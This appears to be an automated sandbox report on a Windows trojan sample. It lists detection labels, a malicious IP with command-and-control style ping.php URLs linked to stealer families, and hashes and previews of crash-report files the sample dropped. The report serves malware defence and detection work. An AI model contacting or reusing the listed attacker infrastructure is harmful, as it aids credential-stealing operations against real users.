Sample name:	KLJM7VyjZ2.exe renamed because original name is a hash value
Original Sample Name:	206f7bf98269d08b4cb9aaa0a97214e0.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@15/34@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 14 Number of non-executed functions: 117
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:26:11	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.90	ZSoy5xK5NG.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	97NT8DO3JB.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	2TjpEuyd2z.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	xQXHoWMKoa.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=ten&s=ab&sub=0
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	HCfh46GOiJ.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=six&s=ab&sub=0
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	ZSoy5xK5NG.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.228
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.203
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.172.128.23
	97NT8DO3JB.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	2TjpEuyd2z.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	xQXHoWMKoa.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.23
	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	LXoASvZRu1.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_446932cafea45fc1e53d37534df11af3b5a6e54_93731659_dcb33012-df20-456d-9f51-cc55c7905d9c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9994867656692618
Encrypted:	false
SSDEEP:	192:YgacMlHKCF/OA09l/WejtgYedzuiFvZ24IO8yC:vacMNKCF/Ob9l/WejQzuiFvY4IO8yC
MD5:	23E25005D165F2C072EFF0C602A64366
SHA1:	B1245864B4E125D3810993E50A8DF533AC029557
SHA-256:	7603823A9DF614B2AA3D99B5C48CC3FD6098CF97D84D8310B9CE5462EBA8D6EE
SHA-512:	604239CE8626780D6B6CF4AA95BB79F38196E84347DFA5D03749E07C5A4D06FF36C7C35ADBE6D8ED1C226D6F3CAFB79B7D2DB51A54C04777CEF7815B689B4B45
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.8.8.5.9.2.6.3.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.9.3.1.2.3.8.7.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.c.b.3.3.0.1.2.-.d.f.2.0.-.4.5.6.d.-.9.f.5.1.-.c.c.5.5.c.7.9.0.5.d.9.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.2.6.d.4.8.d.1.-.4.6.9.e.-.4.2.2.c.-.9.f.c.d.-.b.a.d.d.a.9.f.5.1.2.f.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_2e7efa97-b04b-4148-816d-0a2624e90d77\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8378603511231605
Encrypted:	false
SSDEEP:	192:m/cMlHKCTD/X056rojtGzuiFvZ24IO8vC:4cMNKC3/k56rojczuiFvY4IO8vC
MD5:	0EEBD4B6AFED5B1E2C32EA2109A570E3
SHA1:	EDAEA06033BC3AC899A9A604D3809E11C5CC0F94
SHA-256:	D4B635CEC3D865BE398BAC433F70DC7C6C19690C6694D01776AB25A0CACD6B09
SHA-512:	92061C9619F4B719385288A8F32EC90348EAF81BE36B5B24887559CAFFE0295FFD012C122BBA6E8E117CAA467B43E67804404574A77924AA4503C38FE6C62192
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.2.3.2.2.4.2.9.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.e.7.e.f.a.9.7.-.b.0.4.b.-.4.1.4.8.-.8.1.6.d.-.0.a.2.6.2.4.e.9.0.d.7.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.0.d.a.3.c.5.c.-.f.3.f.a.-.4.1.8.6.-.b.1.5.8.-.c.6.2.0.e.f.8.d.a.f.2.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_2f4f0210-77a7-494f-8403-01ec639613ea\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8378506490340442
Encrypted:	false
SSDEEP:	192:AImlcMlHKCg/X056rojtGzuiFvZ24IO8vC:AImlcMNKCg/k56rojczuiFvY4IO8vC
MD5:	048372628DEFE7DA485B681F65D3BBF4
SHA1:	EE5E46DDECFF6A3189BA1B63FE6F573DC6F7FDFC
SHA-256:	D0F8DE11D065B7B41DF732696AAE4C8A3F2CEC97CE45FEF8126AEFF2D37AC77B
SHA-512:	138B0BC207D3C1E8A0B0A9BE23E1270822B26C298C2C831176766CE147CE0320EE961D88960FD55B5903A050F31EC645A56B67277397FD322D61F860B6A129BB
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.4.4.4.5.7.2.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.4.f.0.2.1.0.-.7.7.a.7.-.4.9.4.f.-.8.4.0.3.-.0.1.e.c.6.3.9.6.1.3.e.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.2.1.7.c.3.8.d.-.c.d.8.f.-.4.7.1.7.-.b.4.9.3.-.f.5.d.b.e.b.8.5.7.f.8.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_36706507-4a1e-4fe9-a5a7-97149466896c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8381250252454354
Encrypted:	false
SSDEEP:	192:/XcMlHKCS/X056rojtGzuiFvZ24IO8vC:/XcMNKCS/k56rojczuiFvY4IO8vC
MD5:	5FF7757BF4F5164D209D4E0C29ADBE3A
SHA1:	21B7A763EBB1D892CCAFD501605FB35954F75785
SHA-256:	753F27795A1E36230A30E21CD5D268E1D689FB7D640BAFD01AD6699877C6A442
SHA-512:	5D6622F0C23B8DA308C51EF6C1836F207C649BAD7B0B63A7912727EF6E9B27B2607E5C029F54CD2D32D1B92E00FF7B3108D36463933AC60B0C9B1BEBEEF87091
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.3.8.2.7.3.5.2.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.6.7.0.6.5.0.7.-.4.a.1.e.-.4.f.e.9.-.a.5.a.7.-.9.7.1.4.9.4.6.6.8.9.6.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.e.c.a.8.8.d.9.-.e.3.6.c.-.4.a.b.a.-.b.9.e.f.-.5.2.1.4.8.c.2.0.8.e.5.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_8bdd8b26-e474-4b38-aab5-c2ddeceac0c1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9346822331022533
Encrypted:	false
SSDEEP:	192:SJcMlHKCI/X056rojtg7zuiFvZ24IO8vCX:SJcMNKCI/k56roj8zuiFvY4IO8vCX
MD5:	F208A1FECF535F188EE1BF61C6175AA3
SHA1:	C35671C71128485F1C5E526211DB361EB891F228
SHA-256:	49B56740AE785BE12CA44788BDBC2E97CD3BFB34539F2FAA038FC3FFF594294F
SHA-512:	E7DEB137D6DB9D571A27943E3271EAA80B59F597C4119234CDD8217DCC9D5772C246569758D502B2CE181D81286EAD921511B4487CB87DF9BA5747CB03483331
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.8.0.5.7.4.1.5.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.b.d.d.8.b.2.6.-.e.4.7.4.-.4.b.3.8.-.a.a.b.5.-.c.2.d.d.e.c.e.a.c.0.c.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.5.4.4.2.a.9.b.-.b.a.a.0.-.4.d.7.a.-.9.c.a.6.-.3.e.8.e.a.4.4.d.0.2.1.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_9ccf4886-b04c-403b-be71-39f6393c6014\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8807732742193739
Encrypted:	false
SSDEEP:	96:EhbvEMlHKXnyHsF9Hq7oA7RT6tQXIDcQnc6rCcEhcw3rMEz+HbHg/PB6Heao8Far:WcMlHKCH/X056rojtQzuiFvZ24IO8vC
MD5:	2F7C3B8C711CF8DF6BE02FD27789906E
SHA1:	347DE7BC7A87C367993C5D1450C97DEE7AB53B3A
SHA-256:	E6BCE1D8F30138D88D9EA89A062C483CA8C15FFB57DC9AEA60E94AB4BFA3A3AF
SHA-512:	C1B43526B92A302C4CA4318C9529024EFC38A8F529D70A45AE8BCEC43C34303919686F4E613CA75AF27724D57FEA2DBA1C23F81C82E418CF82323836F024A000
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.5.7.8.2.5.3.1.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.c.f.4.8.8.6.-.b.0.4.c.-.4.0.3.b.-.b.e.7.1.-.3.9.f.6.3.9.3.c.6.0.1.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.7.3.5.0.a.b.9.-.d.8.2.2.-.4.e.a.f.-.8.7.4.8.-.b.a.9.e.4.1.8.3.e.7.7.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_c964ff10-317a-4e46-b50c-1279a696115c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8380737655615408
Encrypted:	false
SSDEEP:	192:ricMlHKC2/X056rojtGzuiFvZ24IO8vC:ricMNKC2/k56rojczuiFvY4IO8vC
MD5:	738A0EBC377AF4E079D391FB8F101B6D
SHA1:	6BC58B50B0D4758BCAF8C2507BCB948FF33C8496
SHA-256:	723C21D547868F05BCB14FEC747BA256F93A3D84ABB55AB0205D4F397D957794
SHA-512:	8D66F6D8795B8F8806D3F54D88B2CC14C2B5CEFCBE3390BAEFDB1748217380A91A0D4A7EE3E1681A50AD70DAB1A1D395816963EEE02040253AC7F65C6946D9B2
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.3.0.4.5.5.3.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.6.4.f.f.1.0.-.3.1.7.a.-.4.e.4.6.-.b.5.0.c.-.1.2.7.9.a.6.9.6.1.1.5.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.9.1.b.9.2.a.0.-.5.1.b.5.-.4.b.6.7.-.a.5.a.2.-.e.0.7.0.3.b.a.5.8.0.b.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KLJM7VyjZ2.exe_5ab1ca666eb3192c229dcaa94a67c037d2d061_93731659_d5c5f4e6-5af2-4f52-b25c-3e8253293b6f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.8535100699950606
Encrypted:	false
SSDEEP:	192:PRcMlHKCv/X056rojtszuiFvZ24IO8vCe:5cMNKCv/k56rojmzuiFvY4IO8vC
MD5:	024B0A715579311294860DAA1E678830
SHA1:	CECC0A40547B4A493B961F6C41A9E425E08E62E6
SHA-256:	889D9D01A686A5B9F61E9671A783C648BA34038938EE75EA5647B5E78E1C69A8
SHA-512:	2E89A1389C942AE43E0E0FF83079CB2410FD972B62F69EAE53E69F5EF4206FE205B1F2EFC2CEF2D5B2A4981C64EA6A7A41C40CCFA70EB935CBD337D764EC34C5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.4.3.5.5.0.8.0.1.1.9.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.5.c.5.f.4.e.6.-.5.a.f.2.-.4.f.5.2.-.b.2.5.c.-.3.e.8.2.5.3.2.9.3.b.6.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.9.5.1.c.2.4.-.2.1.c.c.-.4.8.b.7.-.9.7.c.1.-.1.2.1.9.d.b.d.b.e.3.b.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.L.J.M.7.V.y.j.Z.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.c.-.0.0.0.1.-.0.0.1.4.-.3.1.4.6.-.e.a.c.1.b.4.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.b.4.c.c.1.1.3.0.d.8.b.c.1.7.e.2.a.e.a.f.5.a.2.c.f.e.5.d.e.f.0.0.0.0.0.a.1.6.!.0.0.0.0.f.8.2.7.a.3.0.d.0.3.5.4.8.4.4.b.d.9.6.5.1.3.5.d.c.2.e.6.5.2.f.3.3.9.8.6.b.8.d.e.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.0.1.:.1.1.:.4.6.:.1.7.!.0.!.K.L.J.M.7.V.y.j.Z.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1125.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46766
Entropy (8bit):	2.6609124555580643
Encrypted:	false
SSDEEP:	384:7wnIn+qAwRlraW8TlTYBzZofEHIfi1RsnQi:1+qAw3roT1YBzZocp0Q
MD5:	2E135C876D6D5B5B59BC91F1917630E5
SHA1:	180695155FA3245EEEFFBC50E3A9346E607BED47
SHA-256:	18F0733FEA1881E6242B56031636B63400FED0D73B9D4016290B30CE32C45D20
SHA-512:	7C0E81B3ABADFAD6AAD72074EC0D49F6D469F6FBF3C8F0D53A1B3A921B7E30646AD97F488477BF820D4E8D901D8B3D5AE4EC8AB74F511E8ACDC63477FE9888FA
Malicious:	false
Preview:	MDMP..a..... .......w.$f............4...............<.......t...Z...........T.......8...........T............7...~..........L...........8!..............................................................................eJ.......!......GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1240.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8328
Entropy (8bit):	3.7049427741651955
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4k6hJ4/6Y9nSU9Q/QgmftKmmpDT89b0PsfT8m:R6lXJL6/46YNSU9QIgmftl/00fN
MD5:	D95EDA69D289B02F218804ED79E9BA68
